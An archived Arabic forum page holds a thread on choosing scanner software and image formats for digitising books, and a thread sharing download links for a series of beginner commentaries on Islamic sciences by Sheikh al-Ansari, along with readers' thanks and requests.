جزاك الله خيرا أخي الفاضل أحمد محمد بسيوني.
ولا داعي للاعتذار فنحن في ساحات البر والخيرات، الكل يشارك والكل يسابق، والجزاء من رب الأرض والسماوات.
فاللهم اقبل أعمالنا واجعلها خالصة لوجهك الكريم، وزحزح بها أجسادنا عن نار جهنم يوم نلقاك ... يارب.
آمين وجزاك الله خيرا
رفع الله قدرك، أخي الكريم
ـ[أبو المظفر السِّنَّاري]ــــــــ[04 - 10 - 08, 06:22 ص]ـ
جزاكم الله خيرا(61/347)
ماهو احسن برنامج سكانر
ـ[عادل القلماوي]ــــــــ[02 - 10 - 08, 12:50 ص]ـ
الاخوة هواة تصوير الكتب بالسكانير، ما هو احسن برنامج للتصوير، ويتوافق مع برنامج canon lide ؟
وماهي احسن صيغة للتصوير هل هي tiff ام png او صيغة اخرى؟
ـ[ماجد المسلم]ــــــــ[02 - 10 - 08, 02:12 ص]ـ
برنامج vuescan من أفضلها وكثير من الاخوة يفضلونه لما فيه من ميزات ..
والله أعلم
ـ[إبراهيم الملولي]ــــــــ[03 - 10 - 08, 04:22 ص]ـ
يكفي استعمال برنامج السكانير المثبت مع الوينداوز لكن ينصح بضبط إعدادات السكانير على 300 dpi أبيض وأسود بصيغة png وبعد الانتهاء يتم تحويل الصور بواسطة برنامج acdsee أو picaview إلى tiff مع ضغطها على ccitt group 3 أو ccitt groupe 4 ( يمكن تجربة الخيارين واختيار الأفضل).
وهذا رابط لتحميل برنامج البيكا
http://www.4shared.com/file/40700342...?cau2=403tNull
ويفضل تصحيح الصور وإعادة ضبطها وتعديلها بحذف الزوائد والشوائب، ويمكن القيام بذلك بواسطة برنامج MS office picture manager وهو ضمن حزمة الأوفيس.
ـ[عادل القلماوي]ــــــــ[04 - 10 - 08, 07:32 ص]ـ
يكفي استعمال برنامج السكانير المثبت مع الوينداوز لكن ينصح بضبط إعدادات السكانير على 300 dpi أبيض وأسود بصيغة png وبعد الانتهاء يتم تحويل الصور بواسطة برنامج acdsee أو picaview إلى tiff مع ضغطها على ccitt group 3 أو ccitt groupe 4 ( يمكن تجربة الخيارين واختيار الأفضل).
وهذا رابط لتحميل برنامج البيكا
http://www.4shared.com/file/40700342...?cau2=403tNull
ويفضل تصحيح الصور وإعادة ضبطها وتعديلها بحذف الزوائد والشوائب، ويمكن القيام بذلك بواسطة برنامج MS office picture manager وهو ضمن حزمة الأوفيس.
شكرا اخي ابراهيم على هذه التوضيحات المهمة، ولكن الوندووز الذي استعمله اكس بي 2 خال من برنامج السكانير، فاين اجد هذا البرنامج؟
ـ[علي الكناني]ــــــــ[04 - 10 - 08, 07:07 م]ـ
برنامج vuescan من أفضلها وكثير من الاخوة يفضلونه لما فيه من ميزات ..
والله أعلم
جزاك الله خيراً
هل تتكرم ببيان شيء من تلك الميزات
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 07:18 م]ـ
أنظر داخل البرامج البرامج الملحقة ستجده هناك
ولا أنصح ببرنامج vuescan حيث لا يمكن أخذ الصور به بامتداد بنق بل تف وفيها عدم وضوح.
ـ[إبراهيم الملولي]ــــــــ[04 - 10 - 08, 07:47 م]ـ
بمجرد ربط السكانير بالكمبيوتر ستجد أيقونة البرنامج داخل مجلد جهاز الكومبيوتر.
ـ[عادل القلماوي]ــــــــ[05 - 10 - 08, 12:46 ص]ـ
أنظر داخل البرامج البرامج الملحقة ستجده هناك
ولا أنصح ببرنامج vuescan حيث لا يمكن أخذ الصور به بامتداد بنق بل تف وفيها عدم وضوح.
اذن ما هو احسن برنامج حسب تجربتك الأخ الطيماوي؟
ـ[عادل القلماوي]ــــــــ[05 - 10 - 08, 12:48 ص]ـ
بمجرد ربط السكانير بالكمبيوتر ستجد أيقونة البرنامج داخل مجلد جهاز الكومبيوتر.
لم اعثر لها على اثر - هذه الايقونة- على الرغم من ربط جهاز السكانير بجهاز الكومبيوتر.
شكرا مرة اخرى اخي ابراهيم
ـ[ماجد المسلم]ــــــــ[05 - 10 - 08, 11:16 ص]ـ
جزاك الله خيراً
هل تتكرم ببيان شيء من تلك الميزات
واياك أخي الفاضل ..
طريقة وضع وتغيير الإعدادات مبسطة كما أنه يعمل على غالبية الماسحات الضوئية خاصة تلك التي يصحبه برنامج سيء مثل الذي عندي ..
ولعل الأخ الطيماوي يعرفنا ببرنامج أفضل خاصة وأن vuescan لا ينتج صيغة png
ـ[الطيماوي]ــــــــ[05 - 10 - 08, 02:29 م]ـ
اذن ما هو احسن برنامج حسب تجربتك الأخ الطيماوي؟
أنا بصدد العمل مع احد المبرمجين لاضافة ايقونة الى برنامج السكانير المثبت مع الويندوز وبه ميزة المسح التلقائي وفق توقيت زمني (وهي أهم شيء في المسألة)
وحينئذ سوف أعرض شرح مصور لكيفية تصوير ورقتين متجاورتين على أي سكنر مهما كان حجم المسطح لهذا السكنر
ـ[عادل القلماوي]ــــــــ[10 - 10 - 08, 08:39 ص]ـ
نرجو من اخينا المساهم افادتنا باسم البرنامج الذي يعمل عليه في تصوير الكتب، او الطريقة المستعملة من قبله. وشكرا سلفا.
ـ[عادل القلماوي]ــــــــ[13 - 10 - 08, 09:10 ص]ـ
للرفع
ـ[أبو حازم المسالم]ــــــــ[17 - 10 - 08, 03:11 م]ـ
Scanner = اسْكانار.
ويمكن كتابتها سكانر، وليس سكانير.
ويفضل استخدام المصطلح العربي السائد: (الماسح الضوئي).
والمسح بصيغة ( PNG) جيد ويعطي حجما أصغر للملفات.
ولا أرى داعيا كبيرا لاستخدام صيغة ( TIFF) إلا لمن أراد دقة عالية جدا لإعادة طباعة الكتاب مرة أخرى.
أما ( JPG) يعطي حجما أقل من كليهما لكن قد يفقد بعض الجودة إذا قلت نسبة الضغط عن 60%.
ـ[عادل القلماوي]ــــــــ[19 - 10 - 08, 01:57 ص]ـ
بمجرد ربط السكانير بالكمبيوتر ستجد أيقونة البرنامج داخل مجلد جهاز الكومبيوتر.
اخي ابراهيم، كيف يمكن اضافة ايقونة برنامج السكانير داخل جهاز الكومبيوتر، اذا لم يتم ذلك تلقائيا عند ربط جهاز السكانير بجهاز الكومبيوتر.
(يُتْبَع .. اقلب الصفحة)
(61/348)
ـ[عادل القلماوي]ــــــــ[23 - 10 - 08, 12:25 ص]ـ
للرفع
ـ[عادل القلماوي]ــــــــ[28 - 10 - 08, 07:40 ص]ـ
هل هناك برنامج سكانير يمسح بصيغة png بخلاف البرنامج المرافق لوندووز، هذا البرنامج الذي بحثت عنه في جهازي في البرامج الملحقة ولم اجده.
ـ[أبو حازم المسالم]ــــــــ[28 - 10 - 08, 10:24 ص]ـ
نعم يوجد ..
جرب هذه المجموعة من البرامج الصغيرة، فقد تجد فيها بغيتك:
http://softpedia.com/get/Office-tools/Other-Office-Tools/DP-Easyscan.shtml
http://softpedia.com/get/Multimedia/Graphic/Graphic-Capture/DeskScan.shtml
http://softpedia.com/get/Office-tools/Other-Office-Tools/SaveScan.shtml
http://softpedia.com/get/Office-tools/Other-Office-Tools/FastScan.shtml
http://www.softpedia.com/get/Office-tools/Other-Office-Tools/FreeKapture.shtml
http://softpedia.com/get/Multimedia/Graphic/Graphic-Viewers/STOIK-Imagic-Free-Browser.shtml
http://softpedia.com/get/Multimedia/Graphic/Image-Convertors/AI-Picture-Utility.shtml
http://softpedia.com/get/Authoring-tools/Digital-Album/myAlbum.shtml
http://softpedia.com/get/Multimedia/Graphic/Graphic-Others/CmdTwain.shtml
وأرجو منك قراءة ملاحظتي السابقة.
ـ[ماجد المسلم]ــــــــ[29 - 10 - 08, 05:51 ص]ـ
نعم يوجد ..
جرب هذه المجموعة من البرامج الصغيرة، فقد تجد فيها بغيتك:
http://softpedia.com/get/Office-tools/Other-Office-Tools/DP-Easyscan.shtml
http://softpedia.com/get/Multimedia/Graphic/Graphic-Capture/DeskScan.shtml
http://softpedia.com/get/Office-tools/Other-Office-Tools/SaveScan.shtml
http://softpedia.com/get/Office-tools/Other-Office-Tools/FastScan.shtml
http://www.softpedia.com/get/Office-tools/Other-Office-Tools/FreeKapture.shtml
http://softpedia.com/get/Multimedia/Graphic/Graphic-Viewers/STOIK-Imagic-Free-Browser.shtml
http://softpedia.com/get/Multimedia/Graphic/Image-Convertors/AI-Picture-Utility.shtml
http://softpedia.com/get/Authoring-tools/Digital-Album/myAlbum.shtml
http://softpedia.com/get/Multimedia/Graphic/Graphic-Others/CmdTwain.shtml
وأرجو منك قراءة ملاحظتي السابقة.
تمت تجربتها والوحيد الذي يصور بصيغة PNG هو DP-Easyscan ولكنه للأسف بدائي جداً حيث أنه لا يتيح خيار لتحديد المساحة التي ترغب في تصويرها بل أنه يصور سطح السكنر بالكامل.
ولعل الأستاذ الفاضل الطيماوي يفيدنا بما وصل إليه من تطورات في البرنامج الذي يعملون عليه ..
وجزاكم الله خيراً جميعاً
ـ[محمود بن الشامي]ــــــــ[29 - 10 - 08, 08:36 ص]ـ
ما طريقة التحميل من هذا الموقع أيها الكرام
ـ[الطيماوي]ــــــــ[29 - 10 - 08, 11:58 ص]ـ
ولعل الأستاذ الفاضل الطيماوي يفيدنا بما وصل إليه من تطورات في البرنامج الذي يعملون عليه ..
وجزاكم الله خيراً جميعاً
لحتى الآن فشلت كل المحاولات، ونحن بصدد برمجة برنامج خاص بذلك إن شاء الله ونسأل الله النجاح في ذلك.
ـ[عادل القلماوي]ــــــــ[29 - 10 - 08, 09:55 م]ـ
شكرا اخي الطيماوي، نحن في انتظار هذا البرنامج الخاص، والذي اتمنى ان يرى النور قريبا باذن الله
ـ[أبو حازم المسالم]ــــــــ[29 - 10 - 08, 11:38 م]ـ
توجد برامج ذات كفاءة عالية في موقع سوفتبيديا، واخترت لكم منه ما كان مجانيا ( Freeware) فحسب.
وذلك لأني موقن أنكم لا ترغبون بشراء برامج جاهزة ثمنها قد يبلغ ما بين 20 و 40 دولارا.
ولا أدرى داعيا للتقيد ببرنامج يمسح بصيغة PNG فقط، بل يمكن المسح بصيغة TIFF ومن ثَم تحويلها إلى PNG بشكل دفعي.
لكن لحظة .. لماذا لا تستخدمون البرنامج المرفق مع الجهاز نفسه؟!
فعامة تلك البرامج ذات كفاءة جيدة وتحفظ بعدة صيغ منها PNG.
ـ[عادل القلماوي]ــــــــ[08 - 07 - 10, 05:27 م]ـ
للرفع(61/349)
[سلسلة] مكتبة المبتدئ في طلب العلم الشرعي للشيخ الأنصاري
ـ[بن سالم]ــــــــ[02 - 10 - 08, 12:54 ص]ـ
... المكتبةُ النَّفيسَةُ الَّتي لا يستغني عنها طالبُ عِلمٍ ...
اسمُها
[مَكتبةُ المُبتَدئِ في طلبِ العِلمِ الشَّرعِيِّ]
تَأليفُ الشَّيخِ: خالدِ بنِ عبدِ اللهِ باحميد الأَنصاري - حفظَهُ اللهُ ونَفعَ بهِ -
- ومُحتويات المكتبة كالتَّالي:
1 - شَرحُ الأصولِ الثَّلاثَةِ [و (الأصولُ الثَّلاثة) للشيخِ المُجدِّد محمد بن عبد الوهابِ - رحمهُ الله -].
2 - شَرحُ العَقيدَةِ الواسِطِيَّةِ [و (العقيدة الواسطية) للإمام الرَّبَّاني وشيخ الإسلام ابنِ تيّميَّة - رحمه الله -].
3 - شَرحُ مُختَصَرِ الخِرَقي [و (مختصر الخرقي الحَنبَلي) للإمام عمر بن الحسين الخِرَقي - رحمه الله -].
4 - شَرحُ الْمُقدِّمةِ الآجرّوميَّة [و (الآجرّوميَّة في النَّحو) للإمام محمد بن داود الصَّنهاجي المَشهور بابنِ آجُرُّوم - رحمه الله -].
5 - شَرحُ الوَرَقاتِ [و (الورقات) لإمام الحرمين الجويني - رحمه الله -].
6 - شَرحُ نُخبَةِ الفِكَرِ في مُصطَلَحِ الأَثَرِ [و (نُخبة الفِكر) للإِمام الحافظ ابن حجر العَسقَلاني - رحمه الله -].
- الطَبعةُ: دارِ الاعتِصامِ للنَّشرِ بالرِّياضِ
سَنَةُ الطَّبعِ: كُلُّها في تاريخِ 1424 ما عدا (شرح الخرقي) ففي 1425.
- قال المُؤَلِّف - حفظَهُ اللهُ -:
[ومما ذكرتُه في التَّعريفِ بالشَّرحِ المناسبِ للمُختصرِ المناسِبِ - في الجملةِ -؛ هو ما تضمَّن شَيئين:
الأوَّلُ: تَسهيلُ فهمِ كلامِ المؤلِّف بحيث يفهمه المُبتدئُ.
الثَّاني: عدمُ التَّعرّضِ لِما فيه تشويشٌ لذهن المبتدئ ...
- وطريقتي في الشَّرحِ تتلخَّصُ في الأمورِ التَّالية:
1 - قبلَ الشّروعِ في شرحِ الكتابِ: أتكلّمُ كلاما مُجملاً عن عنوان الكتابِ ومُحتوياته.
2 - أُقسِّمُ محتويات الكِتاب تَقسيماً مناسِباً؛ بِحسب ما أراه بعد تأمّلي في جميع الكِتابِ.
3 - أحرصُ على ذِكرِ المُناسَباتِ بين كلامِ المؤلِّف إن استَطَعتُ إلى ذلك سَبيلا.
4 - أهتمُّ بِتوضيحِ عِباراتِ المؤلِّفِ؛ ولا أزيد على كلامِهِ؛ إلاَّ نادراً، وذلك إن رأيت في الزّيادةِ تَسهيلاً لفهم كلامِه.
5 - أحرِصُ على ذِكرِ الأَمثلَةِ في المواضِعِ الَّتي تَقتَضي ذلكَ.
6 - أتَجَنَّبُ نقدَ شيءٍ من كَلامِ المؤلِّفِ أو التَّفصيل الكثير، أو ذِكر الخلاف؛ سواء: خلاف المبتدعة في الاعتقادِ، أو خلاف الفقهاءِ في الفقه، أو الخلاف في العلومِ الأُخرى؛ لأنِّي أرى أنَّ التَّعرّضَ لذلكَ لا يُناسب المُبتَدِئ ...
وصَلَّى اللهُ على نَبِيِّنا محمدٍ وعلى آلهِ وصَحبِهِ وسَلِّم].
أسألُ اللهَ تَعالَى بِمَنِّهِ وكَرَمِهِ: أن تكونَ هذهِ المَكتبَةَ خيرَ مُعينٍ لِطُلاَّب العِلم المُبتدئين - وأنا مِنهُم -، وأرى هذه المَكتبة: لَبِنَةً أُولَى سَيَتبَعُها خيرٌ كَثيرُ بإذن اللهِ ومَشيئَتِه.اللهُمَّ اجعَل هذا العَمَلَ خالِصاً لِوجهِكَ
ـ[بن سالم]ــــــــ[02 - 10 - 08, 01:05 ص]ـ
الكِتابُ الأَوَّلُ
شرح الأصول الثلاثة ( http://www.4shared.com/file/65230028/f328953e/___.html?dirPwdVerified=d3c98708)
ـ[بن سالم]ــــــــ[02 - 10 - 08, 01:07 ص]ـ
الكِتابُ الثَّانِي
شرح العقيدة الواسطية ( http://www.4shared.com/file/65230027/639788af/___.html?dirPwdVerified=d3c98708)
ـ[بن سالم]ــــــــ[02 - 10 - 08, 01:09 ص]ـ
الكِتابُ الثَّالِثُ
شرح المقدمة الآجرومية ( http://www.4shared.com/file/65230963/f47b23d/___.html?dirPwdVerified=d3c98708)
ـ[بن سالم]ــــــــ[02 - 10 - 08, 01:11 ص]ـ
الكِتابُ الرَّابِعُ
شرح الورقات ( http://www.4shared.com/file/65232182/42d93616/___online.html?dirPwdVerified=d3c98708)
ـ[بن سالم]ــــــــ[02 - 10 - 08, 01:13 ص]ـ
الكِتابُ الخامِسُ
شرح نخبة الفكر في مصطلح أهل الأثر ( http://www.4shared.com/file/65233221/9bc5561a/___.html?dirPwdVerified=d3c98708)
ـ[بن سالم]ــــــــ[02 - 10 - 08, 01:26 ص]ـ
الكِتابُ السَّادِسُ
شرح مختصر الخرقي
1 ( http://www.4shared.com/file/65266286/705471/____1.html?dirPwdVerified=d3c98708) و 2 ( http://www.4shared.com/file/65266282/71d9068/____2.html?dirPwdVerified=d3c98708) و 3 ( http://www.4shared.com/file/65276988/d6fdbf27/____3.html)
ـ[أحمد محمد بسيوني]ــــــــ[02 - 10 - 08, 01:30 ص]ـ
رفع الله قدرك
ـ[عبد الحميد الأثري الجزائري]ــــــــ[02 - 10 - 08, 02:00 ص]ـ
بارك الله فيكم وأحسن إليكم
أرجو أن ترفعوا الكتب بالمرفقات لأن الموقع الذي رفعت عليه الكتب محجوبة عندنا
ـ[ابو عبد المحسن]ــــــــ[02 - 10 - 08, 11:06 ص]ـ
مكتبة المبتدئ في طلب العلم الشرعي للشيخ الأنصاري:
1 - شرح الأصول الثلاثة للأنصاري.
2 - شرح العقيدة الواسطية للأنصاري.
3 - شرح المقدمة الآجرومية للأنصاري.
4 - شرح الورقات للأنصاري.
5 - شرح نخبة الفكر للأنصاري.
6 - شرح مختصر الخرقي للأنصاري 1.
7 - شرح مختصر الخرقي للأنصاري 2.
8 - شرح مختصر الخرقي للأنصاري 3.
قمت برفع كتب المكتبة الثمانية على موقع أرشيف بروابط دائمة بإذن الله وتستكمل التحميل ...
تجدونها على هذا الرابط:
http://www.archive.org/details/m.ansari
- - -
(يُتْبَع .. اقلب الصفحة)
(61/350)
ـ[عبد الحميد الأثري الجزائري]ــــــــ[02 - 10 - 08, 12:11 م]ـ
لاحول ولا قوة إلا بالله
أيضا قاموا بحجب هذا الموقع أيضا فلم أتمكن من تحميل الكتب
من يكرمنا برفعها بالمرفقات؟
ـ[عبد الحميد الأثري الجزائري]ــــــــ[02 - 10 - 08, 01:27 م]ـ
الحمد لله تمكنت أخيرا مكن تحميل المكتبة
جزاكما الله خيرا وأحسن إليكما
ـ[أبو عقيل]ــــــــ[02 - 10 - 08, 04:28 م]ـ
جزاك الله خيرا أخي بن سالم وجعلها في ميزان حسناتك.
وشكر وتحية إليك إخي أبا عبد المحسن على الرابط الجديد فقد أرحتنا من 4 shared
ـ[محمد بن جرير]ــــــــ[02 - 10 - 08, 06:22 م]ـ
هل من ترجمة للشيخ الأنصاري لو تكرمتم، فإن أسلوبه في الشرح جيد.
ـ[النصري]ــــــــ[02 - 10 - 08, 07:20 م]ـ
السلام عليكم ورحمة الله وبركاته شكرا لك ... بارك الله فيك ...
ـ[بن سالم]ــــــــ[02 - 10 - 08, 07:57 م]ـ
جزاكُم الله خيراً وبارَكَ فيكُم.
أخي أبو عبد المحسن: سَدَّدَ اللهُ خُطاكَ ونَفَعَ بِكَ.
وهذه روابطٌ على [ mediafire ] الميديا فير:
1 - شرح الأصول الثلاثة للأنصاري.
http://www.mediafire.com/download.php?2yqyzwmmhwo
2- شرح العقيدة الواسطية للأنصاري.
http://www.mediafire.com/download.php?dmdydzjmnjf
3- شرح المقدمة الآجرومية للأنصاري.
http://www.mediafire.com/download.php?l5iooyz3m10
4- شرح الورقات للأنصاري.
http://www.mediafire.com/download.php?mzutmmnzn2y
5- شرح نخبة الفكر للأنصاري.
http://www.mediafire.com/download.php?dijot4jglez
6- شرح مختصر الخرقي للأنصاري 1.
http://www.mediafire.com/download.php?nkomroind1y
7- شرح مختصر الخرقي للأنصاري 2.
http://www.mediafire.com/download.php?tmi42uzazyj
8- شرح مختصر الخرقي للأنصاري 3.
http://www.mediafire.com/download.php?wh4ifntmvky
ـ[ابوعبدالله القزلان]ــــــــ[02 - 10 - 08, 11:02 م]ـ
السلام عليكم اخي بن سالم اتمنى وضع ترجمة الانصاري ومن هو ومن شيخه وطلب علم وهكذا فليس كل من رأى كتابه اخذه فيجب ذكر ترجمة الشيخ بارك الله فيك
ـ[صخر]ــــــــ[03 - 10 - 08, 12:09 ص]ـ
بوركتم ... ونرجوا رفعها على مواقع ثابتة ...
ـ[ابوعبدالله القزلان]ــــــــ[03 - 10 - 08, 01:18 ص]ـ
اين ترجمة يا اخوان؟؟؟
ـ[بن سالم]ــــــــ[03 - 10 - 08, 02:21 ص]ـ
... أَمَّا تَرجَمَتُهُ: فَلا أَعرِفها؛ وأَظنّك أخي - في الله - مُولَعٌ بالتَّراجُمِ؛ لأَنِّي قرأت لكَ مُشاركَةً تريد فيها: (ترجمةً لأَئِمَّةِ الحَرَمِ) - إن لم تخُنِّ الذّاكرة -.
... أَمَّا قولُك: [فليس كل من رأى كتابه أخذه]
1 - فَكلامٌ مُجمَلٌ ... وقد قيل: (يُعرَفُ الرَّجُل بِعِلمَهِ لا العَكس).
2 - فَمَن قَرَأَ كُتُبَهُ؛ وقارَنَها بِما هو مِثلها - في الشَّكلِ والمَضمون -: عَلِمَ أنَّها مُؤَلَّفاتٌ قَيِّمَةٌ مِن شَخصٍ: سَلَفِيِّ العَقيدة، واضِحِ المَنهَجِ، مُرَتَّبِ الأَفكارِ.
3 - أَنَّ مَن قارَن شَرحَ - مَثلاً - الأُصولَ الثَّلاثَة أَو الآجرّوميَّة بـ أغلَبِ الشُّروحِ المَوجودَة - إن لَم يَكُن كلّها -: علمَ أنَّ شَرحَهُ أوضَحُ وأسهلُ لِكُلِّ مُبتَدئٍ.
4 - ومعَ ذلكَ لَن نَعدَم مُعَرِّفاً بِهِ [لا مُزَكّ له / فعِلمُهُ يُزَكِّيه].
فائدَةٌ:
للشيخِ - حَفِظَهُ اللهُ - شَرحٌ مُختَصَرٌ على (كَشفِ الشُّبهاتِ) لكنَّهُ في غايَةِ النَّفاسَةِ. فإن يَسَّر الله رَفعتُهُ.
ـ[ابوعبدالله القزلان]ــــــــ[03 - 10 - 08, 03:37 ص]ـ
جزآك الله خير على سرعان الاجابة وشكرآ لك على القراءة مواضيعي بارك الله فيك
ـ[بن سالم]ــــــــ[04 - 10 - 08, 09:43 م]ـ
... رَفعٌ لكِتابِ (شرح المقدمة الآجرّومبَّة) مع استدراكِ السَّقطِ والفهرسةِ الدَّقيقةِ.
http://www.4shared.com/file/65580312/50439013/___.html?dirPwdVerified=d3c98708
ـ[أبو عبد الله علي بن حسين بدوي]ــــــــ[16 - 10 - 08, 04:16 م]ـ
بسم الله الرحمن الرحيم
إخواني الأعزاء عندي كتاب نفيس في الفقه المالكي أريد تحميله للموقع فهل يخبرني أحد منكم كيف يمكنني ذلك Question
ـ[ابو اسحاق]ــــــــ[16 - 10 - 08, 06:57 م]ـ
جزاك الله خيرا
ـ[عبد الحميد الأثري الجزائري]ــــــــ[17 - 10 - 08, 10:20 ص]ـ
... رَفعٌ لكِتابِ (شرح المقدمة الآجرّومبَّة) مع استدراكِ السَّقطِ والفهرسةِ الدَّقيقةِ.
http://www.4shared.com/file/65580312/50439013/___.html?dirPwdVerified=d3c98708
أرجو أن ترفعه بالمرفقات بارك الله فيكم
الرابط لا يعمل معي
ـ[أبو عمرو المغربي]ــــــــ[24 - 10 - 08, 01:26 ص]ـ
أخي الفاضل بن سالم كما قرأت في بداية أحد هذه الكتب أن الشيخ حفظه الله قد ألف كتابا يعتبر مدخلا لطلب العلم إن لم تخني الذاكرة أرجو منك تحميله و لا تنسى تحميل بقية المستويات إن وجدت بارك الله فيك
ـ[الدر المصون]ــــــــ[24 - 10 - 08, 02:06 ص]ـ
جزاك الله الفردوس الأعلى والله أقولها من القلب كم من مكتبة زرتها أبحث عن هذه السلسلة فلم أجد أقر الله عينك ورزقك من حيث لا تختسب
(يُتْبَع .. اقلب الصفحة)
(61/351)
ـ[بن سالم]ــــــــ[26 - 10 - 08, 10:30 م]ـ
... جزاكُم اللهُ خيراً.
للأَسَفِ لَم تُطبَع المُقدِّمة بعد.
ـ[مشرف الشهري]ــــــــ[26 - 10 - 08, 10:53 م]ـ
وهذا رابط آخر للمكتبة على الميديا فاير
http://www.mediafire.com/?sharekey=6b425357c4cdb676ab1eab3e9fa335caf1050ded 6acd6854
ـ[الدر المصون]ــــــــ[06 - 11 - 08, 08:36 م]ـ
يا أخ رزقك الله الجنة بغير حساب نريد رفع كشف الشبهات فأنا جدا مهتمة بكتب الشيخ لأسلوبه الرائع لأني أدرسها لأخواتي فأحتسب الأجر فلا تباع لدينا كتبه بالمكتبات
ـ[عبدالله بن أسامة]ــــــــ[08 - 11 - 08, 11:27 ص]ـ
ننتظر شرح كشف الشبهات للشيخ
وليت من يتحفنا بترجمة هذا الشيخ الفاضل
ـ[محمد عمارة]ــــــــ[08 - 11 - 08, 10:57 م]ـ
جزاكم الله خيرا على هذه الدرر أخي ابن سالم
أشهد الله أني أحبك في الله
ـ[احمد السعد]ــــــــ[22 - 11 - 08, 01:28 م]ـ
جزاكم الله خيراً
ـ[محمد رضا شعنبي]ــــــــ[25 - 11 - 08, 12:13 ص]ـ
السلام عليكم ورحمة الله
جزاك الله خيرا أخي بن سالم وبارك فيك ثم لي سؤال عن كتاب الشيخ أبي عبد الله الأنصاري حفظه الله وهو المدخل إلى دراسة المختصرات
فأفيدونا به مصورا إن ظفرتم به
بارك الله فيكم ووصلكم بتوفيقه دوما جزاكم الله خيرا
ـ[أبو عبد المؤمن الجزائري]ــــــــ[18 - 12 - 08, 05:01 م]ـ
السلام عليكم ورحمة الله
جزاك الله خيرا أخي بن سالم وبارك فيك ثم لي سؤال عن كتاب الشيخ أبي عبد الله الأنصاري حفظه الله وهو المدخل إلى دراسة المختصرات
فأفيدونا به مصورا إن ظفرتم به
بارك الله فيكم ووصلكم بتوفيقه دوما جزاكم الله خيرا
نود من الأخ بن سالم حفظه الله أن يرفعها إلى المنتدى إن استطاع إلى ذلك سبيلاً
ـ[رشيد عياش رشيد]ــــــــ[21 - 12 - 08, 02:40 ص]ـ
أخي الحبيب
بن سالم
نظّر الله وجهك يوم تلقاه
ـ[محمد بن مسفر]ــــــــ[07 - 01 - 09, 12:12 م]ـ
في أي مكتبة أجد هذه الشروحات؟
ـ[أبو عبد المؤمن الجزائري]ــــــــ[17 - 02 - 09, 05:50 م]ـ
السلام عليكم ورحمة الله
الأخ بن سالم ألم يتم طبع المقدمة بعد؟
على كلٍّ بارك الله فيك
ـ[أبو يوسف الحلبي]ــــــــ[25 - 03 - 09, 04:52 ص]ـ
أثابك الله تعالى وأجلّك و أحسن إليك أخي بن سالم على ما أتحفتنا به من روابط لهذه المجموعة النفيسة من الكتب.
ـ[أبو عبدالرحمن عبد القادر]ــــــــ[25 - 06 - 09, 11:25 ص]ـ
جز اك الله خيراا هل توجد عندك بداية السلسلة التي تخص طلب العلم
ـ[أبو مجاهد الحنبلي]ــــــــ[25 - 06 - 09, 03:10 م]ـ
يرفع للتذكير ..
ـ[طالبة العلم سارة]ــــــــ[25 - 06 - 09, 03:18 م]ـ
ننتظر كشف الشبهات
ـ[مثنى النعيمي]ــــــــ[29 - 09 - 09, 03:04 ص]ـ
تفضلوا ..... حفظكم الله
شرح كشف الشبهات والأصول الستة لابن عثيمين
http://www.4shared.com/file/129147868/e1bac52d/__online.html (http://www.4shared.com/file/129147868/e1bac52d/__online.html)
ـ[مثنى النعيمي]ــــــــ[29 - 09 - 09, 03:06 ص]ـ
تفضلوا ..... حفظكم الله
متن كشف الشبهات بصيغة بي دي اف
http://www.4shared.com/file/129147868/e1bac52d/__online.html (http://www.4shared.com/file/129147868/e1bac52d/__online.html)
شرح كشف الشبهات والأصول الستة لابن عثيمين
http://www.4shared.com/file/96356715/2a44dd2d/______.html (http://www.4shared.com/file/96356715/2a44dd2d/______.html)
و جزاكم الله خيراً
ـ[أبو معاذ السلفي المصري]ــــــــ[29 - 09 - 09, 08:30 ص]ـ
جزاكُم اللهُ خيراً
ـ[أبو يوسف الحلبي]ــــــــ[17 - 12 - 09, 09:13 م]ـ
... أَمَّا تَرجَمَتُهُ: فَلا أَعرِفها؛ وأَظنّك أخي - في الله - مُولَعٌ بالتَّراجُمِ؛ لأَنِّي قرأت لكَ مُشاركَةً تريد فيها: (ترجمةً لأَئِمَّةِ الحَرَمِ) - إن لم تخُنِّ الذّاكرة -.
... أَمَّا قولُك: [فليس كل من رأى كتابه أخذه]
1 - فَكلامٌ مُجمَلٌ ... وقد قيل: (يُعرَفُ الرَّجُل بِعِلمَهِ لا العَكس).
2 - فَمَن قَرَأَ كُتُبَهُ؛ وقارَنَها بِما هو مِثلها - في الشَّكلِ والمَضمون -: عَلِمَ أنَّها مُؤَلَّفاتٌ قَيِّمَةٌ مِن شَخصٍ: سَلَفِيِّ العَقيدة، واضِحِ المَنهَجِ، مُرَتَّبِ الأَفكارِ.
3 - أَنَّ مَن قارَن شَرحَ - مَثلاً - الأُصولَ الثَّلاثَة أَو الآجرّوميَّة بـ أغلَبِ الشُّروحِ المَوجودَة - إن لَم يَكُن كلّها -: علمَ أنَّ شَرحَهُ أوضَحُ وأسهلُ لِكُلِّ مُبتَدئٍ.
4 - ومعَ ذلكَ لَن نَعدَم مُعَرِّفاً بِهِ [لا مُزَكّ له / فعِلمُهُ يُزَكِّيه].
فائدَةٌ:
للشيخِ - حَفِظَهُ اللهُ - شَرحٌ مُختَصَرٌ على (كَشفِ الشُّبهاتِ) لكنَّهُ في غايَةِ النَّفاسَةِ. فإن يَسَّر الله رَفعتُهُ.
هل رفع هذا الشرح على الشبكة؟
ـ[عبدالله المصرى الأثرى]ــــــــ[17 - 12 - 09, 10:15 م]ـ
جزاكم الله خير الجزاء ونفع بكم
(يُتْبَع .. اقلب الصفحة)
(61/352)
ـ[محمد العُمري]ــــــــ[09 - 05 - 10, 07:19 م]ـ
- هذه المكتبة من النفائس بحقٍ، وأنصح كل مبتدئ ـ مثلي ـ أن يطَّلع عليها ..
وفقَّ اللهُ الشَّيخ لكلِّ خيرٍ، ونفع به ..
ـ[أبو الحسن الرفاتي]ــــــــ[10 - 05 - 10, 12:18 م]ـ
جزاكم الله خيراً
ـ[ام سلمان الجزائرية]ــــــــ[13 - 05 - 10, 06:45 م]ـ
اسعدكم الله في الدارين
ـ[أبو عبدالله الشيشاني]ــــــــ[18 - 05 - 10, 02:26 م]ـ
جزاكم الله خيراً
ـ[أبو عبدالله الشيشاني]ــــــــ[18 - 05 - 10, 05:26 م]ـ
جزاكُم اللهُ خيراً
ـ[أبوآدم عبدالرحمن الجزائري]ــــــــ[06 - 11 - 10, 12:15 م]ـ
جزاكُم اللهُ خيراً وشكرا
ـ[احمد السعد]ــــــــ[06 - 11 - 10, 03:26 م]ـ
جزاكم الله هذا الشيخ
فشرحه ممتاز وخاصه للمبتدئين امثالي في الطلب(61/353)
